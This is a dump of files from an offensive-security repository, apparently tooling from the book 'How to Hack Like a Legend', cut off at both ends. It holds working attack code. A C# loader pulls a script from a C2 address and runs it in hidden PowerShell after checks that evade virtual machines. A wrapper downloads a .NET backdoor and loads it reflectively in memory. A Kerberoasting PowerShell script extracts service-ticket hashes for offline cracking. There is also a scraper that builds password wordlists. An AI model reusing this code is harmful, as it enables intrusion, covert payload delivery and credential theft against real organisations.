56 | {
57 |
58 | //Download encoded script from C2
59 | System.Net.WebRequest.DefaultWebProxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials;
60 | WebClient myWebClient = new WebClient();
61 | string mystring = myWebClient.DownloadString("http://10.62.144.17/script2.txt");
62 | //Launch PS
63 | var p = new System.Diagnostics.Process();
64 | p.StartInfo.FileName = "powershell.exe";
65 | p.StartInfo.Arguments = mystring;
66 | p.StartInfo.UseShellExecute = false;
67 | p.StartInfo.CreateNoWindow = true;
68 | p.Start();
69 | }
70 | static private bool Valid_environment()
71 | {
72 | //Only run this script on a computer belonging to G&S Trust
73 | ManagementObjectSearcher search = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");
74 | foreach (ManagementObject obj in search.Get())
75 | {
76 | string name = obj["Organization"].ToString().Trim().ToLower();
77 | // Change this condition result to make it run on your workstation
78 | if (!name.StartsWith("gs") || !name.StartsWith("g&s") || !name.StartsWith("trus"))
79 | return false;
80 |
81 | }
82 | search = new ManagementObjectSearcher("SELECT * FROM Win32_VideoController");
83 | foreach (ManagementObject obj in search.Get())
84 | {
85 | string name = obj["Name"].ToString().Trim().ToLower();
86 | if (name.Contains("vmw") || name.Contains("box") || name.Contains("basic") || name.Contains("adapter"))
87 | return false;
88 | }
89 | search = new ManagementObjectSearcher("SELECT * FROM Win32_DesktopMonitor");
90 | foreach (ManagementObject obj in search.Get())
91 | {
92 | string manu = obj["MonitorManufacturer"].ToString().Trim().ToLower();
93 | if (manu.Contains("standard") || manu.Contains("types") || manu == "")
94 | return false;
95 |
96 | }
97 | return true;
98 | }
99 | }
100 | }
101 |
--------------------------------------------------------------------------------
/old/chap3/wordcollector.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | ''' Creates wordlists from web scraping. BeautifulSoup requierd (pip install beautifulsoup)
4 | Writes output to wordlist.txt in the same directory
5 | Adapter from the work of https://gist.github.com/melpomene/1277869
6 |
7 | '''
8 | import sys
9 | import os
10 | import robotparser
11 | from BeautifulSoup import BeautifulSoup as bs
12 | import urllib2
13 | from urlparse import urlparse
14 |
15 | PATH = './wordlist.txt'
16 |
17 | visited =[]
18 |
19 | def check(word):
20 |
21 | if len(word)> 13 or len(word)< 6:
22 | return False;
23 | if "<" in word or ">" in word:
24 | return False;
25 | if set('[~!@#$%^&*()_+{}":;\'\\-]+$.,').intersection(word):
26 | return False;
27 |
28 | return True
29 |
30 | ''' Returns all links found on page'''
31 | def return_links(raw_page):
32 | soup = bs(raw_page)
33 | links = []
34 | for link in soup.findAll('a'):
35 | links.append(link.get('href'))
36 | return links
37 |
38 | ''' Saves all words in source code seperated with whitespace to file (on PATH) with one word per row'''
39 | def save_wordlist(raw_page):
40 | soup = bs(raw_page)
41 | wordlist = str.split(soup.__str__())
42 | f = open(PATH, 'a')
43 | for word in wordlist:
44 | if check(word):
45 | print word.lower()
46 | f.write(word.lower()+'\n')
47 | f.close()
48 |
49 | ''' Recursive method that checks Robotparser if it is allowed to crawl and if allowed
50 | it parses all word and make recursive call to all found URLs'''
51 | def scrape(baseurl, page, rp):
52 | if page is None:
53 | return
54 | url = urlparse(page)
55 | if url.netloc=="":
56 | if(baseurl[-1] != "/" and url.path != "" and url.path[0] != "/"):
57 | baseurl = baseurl + "/"
58 | newurl = baseurl + url.path
59 | if "http" not in newurl:
60 | newurl = "http://"+newurl
61 | else:
62 | if baseurl != url.netloc:
63 | rp.set_url("http://" +url.netloc + "/robots.txt")
64 | rp.read()
65 | if verbose:
66 | print "Checking robot.txt on : "+ "http://" +baseurl + "/robots.txt"
67 |
68 | newurl = url.geturl()
69 | baseurl = url.netloc
70 | #recheck robots.txt
71 |
72 |
73 |
74 | if newurl in visited:
75 | return
76 |
77 | visited.append(newurl)
78 | if rp.can_fetch("*", newurl):
79 | if verbose:
80 | print "Allowed to fetch page "+newurl+". Initiating scrape."
81 | try:
82 | raw_page = urllib2.urlopen(newurl)
83 | raw_page = raw_page.read()
84 | #scrape for words.
85 | save_wordlist(raw_page)
86 |
87 | # scrape for links. Foreach link scrape.
88 | links = return_links(raw_page)
89 | if not links:
90 | return
91 | for link in links:
92 | scrape(baseurl, link, rp)
93 | except (urllib2.URLError, urllib2.HTTPError, ValueError):
94 | return
95 |
96 |
97 |
98 | else:
99 | if verbose:
100 | print "Not allowed to fetch page "+baseurl+page+". Shutting down operations"
101 | return
102 |
103 |
104 |
105 |
106 | if __name__ == "__main__":
107 | if len(sys.argv) == 1:
108 | print "Call with 'python wordcollector.py [--verbose] [url]'"
109 | exit()
110 | if sys.argv[1] == '--verbose':
111 | if len(sys.argv) == 2:
112 | print "Call with 'python wordcollector.py [--verbose] [url]'"
113 | exit()
114 | verbose = True
115 | url = sys.argv[2]
116 | else:
117 | verbose = False
118 | url = sys.argv[1]
119 |
120 | if verbose :
121 | print "URL: " + url
122 | print "OUTPUT: " + PATH
123 |
124 | if verbose:
125 | print "Reading " + url +"/robots.txt"
126 | rp = robotparser.RobotFileParser()
127 | rp.set_url(url + "/robots.txt")
128 | rp.read()
129 | if rp.can_fetch("*", url):
130 | if verbose:
131 | print "Allowed to fetch root. Initiating reqursive scrape."
132 | # INITIATE RECURSIVE SCRAPE.
133 | try:
134 | scrape(url, "", rp)
135 | except KeyboardInterrupt:
136 | pass
137 | if verbose:
138 | print""
139 | print "---------------------"
140 | print "Scrape was completed. Check " + PATH
141 |
142 |
143 | else:
144 | if verbose:
145 | print "Not allowed to fetch root. Shutting down operations"
146 | exit()
147 |
--------------------------------------------------------------------------------
/old/chap3/wrapper_assembly.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 | using System.Reflection;
4 |
5 | /*
6 | Wrapper to download .NET executable, store it in a variable and execute its main function.
7 | The .Net assembly, can be produced by msf_backdoor.cs in the repo for instance.
8 | No need to mention the ".exe" extension in the filename. It is arbitrary.
9 |
10 | Code used in How to Hack Like a Legend book to plant a backdoor in a software
11 |
12 | To compile:
13 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:hello.exe .\wrapper_assembly.cs
14 |
15 | PS: Change line 35 to reflect the namespace and class used in the program
16 | PPS: Change line 36 if you want to call another method other than main.
17 |
18 | @SparcFlow
19 | */
20 |
21 | namespace wrapper
22 | {
23 | class Program
24 | {
25 | static void Main(string[] args)
26 | {
27 | System.Net.WebRequest.DefaultWebProxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials;
28 | //classic webclient object to download data
29 | WebClient myWebClient = new WebClient();
30 |
31 | //Download bytes from C2 domain
32 | byte[] myDataBuffer = myWebClient.DownloadData("");
33 |
34 | //Reflectively load it in memory
35 | Assembly a = Assembly.Load(myDataBuffer);
36 | Type t = a.GetType("shellcode.Program");
37 | MethodInfo staticMethodInfo = t.GetMethod("Main");
38 |
39 | staticMethodInfo.Invoke(null,null);
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/ps_scripts/kerberoast.ps1:
--------------------------------------------------------------------------------
1 | function Get-DomainSearcher {
2 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3 | [OutputType('System.DirectoryServices.DirectorySearcher')]
4 | [CmdletBinding()]
5 | Param(
6 | [Parameter(ValueFromPipeline = $True)]
7 | [ValidateNotNullOrEmpty()]
8 | [String]
9 | $Domain,
10 |
11 | [ValidateNotNullOrEmpty()]
12 | [Alias('Filter')]
13 | [String]
14 | $LDAPFilter,
15 |
16 | [ValidateNotNullOrEmpty()]
17 | [String[]]
18 | $Properties,
19 |
20 | [ValidateNotNullOrEmpty()]
21 | [Alias('ADSPath')]
22 | [String]
23 | $SearchBase,
24 |
25 | [ValidateNotNullOrEmpty()]
26 | [String]
27 | $SearchBasePrefix,
28 |
29 | [ValidateNotNullOrEmpty()]
30 | [Alias('DomainController')]
31 | [String]
32 | $Server,
33 |
34 | [ValidateSet('Base', 'OneLevel', 'Subtree')]
35 | [String]
36 | $SearchScope = 'Subtree',
37 |
38 | [ValidateRange(1, 10000)]
39 | [Int]
40 | $ResultPageSize = 200,
41 |
42 | [ValidateRange(1, 10000)]
43 | [Int]
44 | $ServerTimeLimit = 120,
45 |
46 | [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
47 | [String]
48 | $SecurityMasks,
49 |
50 | [Switch]
51 | $Tombstone,
52 |
53 | [Management.Automation.PSCredential]
54 | [Management.Automation.CredentialAttribute()]
55 | $Credential = [Management.Automation.PSCredential]::Empty
56 | )
57 |
58 | PROCESS {
59 | if ($PSBoundParameters['Domain']) {
60 | $TargetDomain = $Domain
61 | }
62 | else {
63 | if ($PSBoundParameters['Credential']) {
64 | $DomainObject = Get-Domain -Credential $Credential
65 | }
66 | else {
67 | $DomainObject = Get-Domain
68 | }
69 | $TargetDomain = $DomainObject.Name
70 | }
71 |
72 | if (-not $PSBoundParameters['Server']) {
73 | try {
74 | if ($DomainObject) {
75 | $BindServer = $DomainObject.PdcRoleOwner.Name
76 | }
77 | elseif ($PSBoundParameters['Credential']) {
78 | $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name
79 | }
80 | else {
81 | $BindServer = ((Get-Domain).PdcRoleOwner).Name
82 | }
83 | }
84 | catch {
85 | throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_"
86 | }
87 | }
88 | else {
89 | $BindServer = $Server
90 | }
91 |
92 | $SearchString = 'LDAP://'
93 |
94 | if ($BindServer -and ($BindServer.Trim() -ne '')) {
95 | $SearchString += $BindServer
96 | if ($TargetDomain) {
97 | $SearchString += '/'
98 | }
99 | }
100 |
101 | if ($PSBoundParameters['SearchBasePrefix']) {
102 | $SearchString += $SearchBasePrefix + ','
103 | }
104 |
105 | if ($PSBoundParameters['SearchBase']) {
106 | if ($SearchBase -Match '^GC://') {
107 | $DN = $SearchBase.ToUpper().Trim('/')
108 | $SearchString = ''
109 | }
110 | else {
111 | if ($SearchBase -match '^LDAP://') {
112 | if ($SearchBase -match "LDAP://.+/.+") {
113 | $SearchString = ''
114 | $DN = $SearchBase
115 | }
116 | else {
117 | $DN = $SearchBase.SubString(7)
118 | }
119 | }
120 | else {
121 | $DN = $SearchBase
122 | }
123 | }
124 | }
125 | else {
126 | if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
127 | $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
128 | }
129 | }
130 |
131 | $SearchString += $DN
132 | Write-Verbose "[Get-DomainSearcher] search string: $SearchString"
133 |
134 | if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
135 | Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
136 | $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
137 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
138 | }
139 | else {
140 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
141 | }
142 |
143 | $Searcher.PageSize = $ResultPageSize
144 | $Searcher.SearchScope = $SearchScope
145 | $Searcher.CacheResults = $False
146 | $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
147 |
148 | if ($PSBoundParameters['ServerTimeLimit']) {
149 | $Searcher.ServerTimeLimit = $ServerTimeLimit
150 | }
151 |
152 | if ($PSBoundParameters['Tombstone']) {
153 | $Searcher.Tombstone = $True
154 | }
155 |
156 | if ($PSBoundParameters['LDAPFilter']) {
157 | $Searcher.filter = $LDAPFilter
158 | }
159 |
160 | if ($PSBoundParameters['SecurityMasks']) {
161 | $Searcher.SecurityMasks = Switch ($SecurityMasks) {
162 | 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
163 | 'Group' { [System.DirectoryServices.SecurityMasks]::Group }
164 | 'None' { [System.DirectoryServices.SecurityMasks]::None }
165 | 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
166 | 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
167 | }
168 | }
169 |
170 | if ($PSBoundParameters['Properties']) {
171 | $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
172 | $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
173 | }
174 |
175 | $Searcher
176 | }
177 | }
178 |
179 | function Convert-LDAPProperty {
180 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
181 | [OutputType('System.Management.Automation.PSCustomObject')]
182 | [CmdletBinding()]
183 | Param(
184 | [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
185 | [ValidateNotNullOrEmpty()]
186 | $Properties
187 | )
188 |
189 | $ObjectProperties = @{}
190 |
191 | $Properties.PropertyNames | ForEach-Object {
192 | if ($_ -ne 'adspath') {
193 | if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
194 | $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
195 | }
196 | elseif ($_ -eq 'grouptype') {
197 | $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
198 | }
199 | elseif ($_ -eq 'samaccounttype') {
200 | $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
201 | }
202 | elseif ($_ -eq 'objectguid') {
203 | $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
204 | }
205 | elseif ($_ -eq 'useraccountcontrol') {
206 | $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
207 | }
208 | elseif ($_ -eq 'ntsecuritydescriptor') {
209 | $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
210 | if ($Descriptor.Owner) {
211 | $ObjectProperties['Owner'] = $Descriptor.Owner
212 | }
213 | if ($Descriptor.Group) {
214 | $ObjectProperties['Group'] = $Descriptor.Group
215 | }
216 | if ($Descriptor.DiscretionaryAcl) {
217 | $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
218 | }
219 | if ($Descriptor.SystemAcl) {
220 | $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
221 | }
222 | }
223 | elseif ($_ -eq 'accountexpires') {
224 | if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
225 | $ObjectProperties[$_] = "NEVER"
226 | }
227 | else {
228 | $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
229 | }
230 | }
231 | elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
232 | if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
233 | $Temp = $Properties[$_][0]
234 | [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
235 | [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
236 | $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
237 | }
238 | else {
239 | $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
240 | }
241 | }
242 | elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
243 | $Prop = $Properties[$_]
244 | try {
245 | $Temp = $Prop[$_][0]
246 | [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
247 | [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
248 | $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
249 | }
250 | catch {
251 | Write-Verbose "[Convert-LDAPProperty] error: $_"
252 | $ObjectProperties[$_] = $Prop[$_]
253 | }
254 | }
255 | elseif ($Properties[$_].count -eq 1) {
256 | $ObjectProperties[$_] = $Properties[$_][0]
257 | }
258 | else {
259 | $ObjectProperties[$_] = $Properties[$_]
260 | }
261 | }
262 | }
263 | try {
264 | New-Object -TypeName PSObject -Property $ObjectProperties
265 | }
266 | catch {
267 | Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
268 | }
269 | }
270 | function Get-Domain {
271 |
272 | [OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
273 | [CmdletBinding()]
274 | Param(
275 | [Parameter(Position = 0, ValueFromPipeline = $True)]
276 | [ValidateNotNullOrEmpty()]
277 | [String]
278 | $Domain,
279 |
280 | [Management.Automation.PSCredential]
281 | [Management.Automation.CredentialAttribute()]
282 | $Credential = [Management.Automation.PSCredential]::Empty
283 | )
284 |
285 | PROCESS {
286 | if ($PSBoundParameters['Credential']) {
287 |
288 | Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
289 |
290 | if ($PSBoundParameters['Domain']) {
291 | $TargetDomain = $Domain
292 | }
293 | else {
294 | $TargetDomain = $Credential.GetNetworkCredential().Domain
295 | Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
296 | }
297 |
298 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
299 |
300 | try {
301 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
302 | }
303 | catch {
304 | Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
305 | }
306 | }
307 | elseif ($PSBoundParameters['Domain']) {
308 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
309 | try {
310 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
311 | }
312 | catch {
313 | Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
314 | }
315 | }
316 | else {
317 | try {
318 | [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
319 | }
320 | catch {
321 | Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
322 | }
323 | }
324 | }
325 | }
326 | function Get-DomainSPNTicket {
327 | [OutputType('PxxxxxView.SPddicket')]
328 | [CmdletBinding(DefaultParameterSetName = 'RawSPN')]
329 | Param (
330 | [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
331 | [ValidatePattern('.*/.*')]
332 | [Alias('ServicePrincipalName')]
333 | [String[]]
334 | $SPN,
335 |
336 | [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
337 | [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
338 | [Object[]]
339 | $User,
340 |
341 | [ValidateSet('john', 'hashcat')]
342 | [Alias('Format')]
343 | [String]
344 | $OutputFormat = 'hashcat',
345 |
346 | [ValidateRange(0,10000)]
347 | [Int]
348 | $Delay = 0,
349 |
350 | [ValidateRange(0.0, 1.0)]
351 | [Double]
352 | $Jitter = .3,
353 |
354 | [Management.Automation.PSCredential]
355 | [Management.Automation.CredentialAttribute()]
356 | $Credential = [Management.Automation.PSCredential]::Empty
357 | )
358 |
359 | BEGIN {
360 | $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
361 |
362 | if ($PSBoundParameters['Credential']) {
363 | $LogonToken = Invoke-UserImpersonation -Credential $Credential
364 | }
365 | }
366 |
367 | PROCESS {
368 | if ($PSBoundParameters['User']) {
369 | $TargetObject = $User
370 | }
371 | else {
372 | $TargetObject = $SPN
373 | }
374 |
375 | $RandNo = New-Object System.Random
376 |
377 | ForEach ($Object in $TargetObject) {
378 |
379 | if ($PSBoundParameters['User']) {
380 | $UserSPN = $Object.ServicePrincipalName
381 | $SamAccountName = $Object.SamAccountName
382 | $DistinguishedName = $Object.DistinguishedName
383 | }
384 | else {
385 | $UserSPN = $Object
386 | $SamAccountName = 'UNKNOWN'
387 | $DistinguishedName = 'UNKNOWN'
388 | }
389 |
390 | if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
391 | $UserSPN = $UserSPN[0]
392 | }
393 |
394 | try {
395 | $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
396 | }
397 | catch {
398 | Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
399 | }
400 | if ($Ticket) {
401 | $TicketByteStream = $Ticket.GetRequest()
402 | }
403 | if ($TicketByteStream) {
404 | $Out = New-Object PSObject
405 |
406 | $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
407 |
408 | if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') {
409 | $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
410 | $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
411 | $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
412 |
413 | if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
414 | Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
415 | $Hash = $null
416 | $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
417 | } else {
418 | $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
419 | $Out | Add-Member Noteproperty 'TicketByteHexStream' $null
420 | }
421 | } else {
422 | Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
423 | $Hash = $null
424 | $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
425 | }
426 |
427 | if($Hash) {
428 | if ($OutputFormat -match 'John') {
429 | $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
430 | }
431 | else {
432 | if ($DistinguishedName -ne 'UNKNOWN') {
433 | $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
434 | }
435 | else {
436 | $UserDomain = 'UNKNOWN'
437 | }
438 |
439 | $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
440 | }
441 | $Out | Add-Member Noteproperty 'Hash' $HashFormat
442 | }
443 |
444 | $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
445 | $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
446 | $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
447 | $Out.PSObject.TypeNames.Insert(0, 'PxxxxxView.SPddicket')
448 | Write-Output $Out
449 | }
450 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
451 | }
452 | }
453 |
454 | END {
455 | if ($LogonToken) {
456 | Invoke-RevertToSelf -TokenHandle $LogonToken
457 | }
458 | }
459 | }
460 |
461 | function Get-DomainUser {
462 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
463 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
464 | [OutputType('PowerView.User')]
465 | [OutputType('PowerView.User.Raw')]
466 | [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
467 | Param(
468 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
469 | [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
470 | [String[]]
471 | $Identity,
472 |
473 | [Switch]
474 | $SPN,
475 |
476 | [Switch]
477 | $AdminCount,
478 |
479 | [Parameter(ParameterSetName = 'AllowDelegation')]
480 | [Switch]
481 | $AllowDelegation,
482 |
483 | [Parameter(ParameterSetName = 'DisallowDelegation')]
484 | [Switch]
485 | $DisallowDelegation,
486 |
487 | [Switch]
488 | $TrustedToAuth,
489 |
490 | [Alias('KerberosPreauthNotRequired', 'NoPreauth')]
491 | [Switch]
492 | $PreauthNotRequired,
493 |
494 | [ValidateNotNullOrEmpty()]
495 | [String]
496 | $Domain,
497 |
498 | [ValidateNotNullOrEmpty()]
499 | [Alias('Filter')]
500 | [String]
501 | $LDAPFilter,
502 |
503 | [ValidateNotNullOrEmpty()]
504 | [String[]]
505 | $Properties,
506 |
507 | [ValidateNotNullOrEmpty()]
508 | [Alias('ADSPath')]
509 | [String]
510 | $SearchBase,
511 |
512 | [ValidateNotNullOrEmpty()]
513 | [Alias('DomainController')]
514 | [String]
515 | $Server,
516 |
517 | [ValidateSet('Base', 'OneLevel', 'Subtree')]
518 | [String]
519 | $SearchScope = 'Subtree',
520 |
521 | [ValidateRange(1, 10000)]
522 | [Int]
523 | $ResultPageSize = 200,
524 |
525 | [ValidateRange(1, 10000)]
526 | [Int]
527 | $ServerTimeLimit,
528 |
529 | [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
530 | [String]
531 | $SecurityMasks,
532 |
533 | [Switch]
534 | $Tombstone,
535 |
536 | [Alias('ReturnOne')]
537 | [Switch]
538 | $FindOne,
539 |
540 | [Management.Automation.PSCredential]
541 | [Management.Automation.CredentialAttribute()]
542 | $Credential = [Management.Automation.PSCredential]::Empty,
543 |
544 | [Switch]
545 | $Raw
546 | )
547 | <#
548 | DynamicParam {
549 | $UACValueNames = [Enum]::GetNames($UACEnum)
550 | # add in the negations
551 | $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
552 | # create new dynamic parameter
553 | New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
554 | }
555 | #>
556 | BEGIN {
557 | $SearcherArguments = @{}
558 | if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
559 | if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
560 | if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
561 | if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
562 | if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
563 | if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
564 | if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
565 | if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
566 | if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
567 | if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
568 | $UserSearcher = Get-DomainSearcher @SearcherArguments
569 | }
570 |
571 | PROCESS {
572 | #bind dynamic parameter to a friendly variable
573 | #if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
574 | # New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
575 | #}
576 |
577 | if ($UserSearcher) {
578 | $IdentityFilter = ''
579 | $Filter = ''
580 | $Identity | Where-Object {$_} | ForEach-Object {
581 | $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
582 | if ($IdentityInstance -match '^S-1-') {
583 | $IdentityFilter += "(objectsid=$IdentityInstance)"
584 | }
585 | elseif ($IdentityInstance -match '^CN=') {
586 | $IdentityFilter += "(distinguishedname=$IdentityInstance)"
587 | if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
588 | # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
589 | # and rebuild the domain searcher
590 | $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
591 | Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
592 | $SearcherArguments['Domain'] = $IdentityDomain
593 | $UserSearcher = Get-DomainSearcher @SearcherArguments
594 | if (-not $UserSearcher) {
595 | Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
596 | }
597 | }
598 | }
599 | elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
600 | $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
601 | $IdentityFilter += "(objectguid=$GuidByteString)"
602 | }
603 | elseif ($IdentityInstance.Contains('\')) {
604 | $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
605 | if ($ConvertedIdentityInstance) {
606 | $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
607 | $UserName = $IdentityInstance.Split('\')[1]
608 | $IdentityFilter += "(samAccountName=$UserName)"
609 | $SearcherArguments['Domain'] = $UserDomain
610 | Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
611 | $UserSearcher = Get-DomainSearcher @SearcherArguments
612 | }
613 | }
614 | else {
615 | $IdentityFilter += "(samAccountName=$IdentityInstance)"
616 | }
617 | }
618 |
619 | if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
620 | $Filter += "(|$IdentityFilter)"
621 | }
622 |
623 | if ($PSBoundParameters['SPN']) {
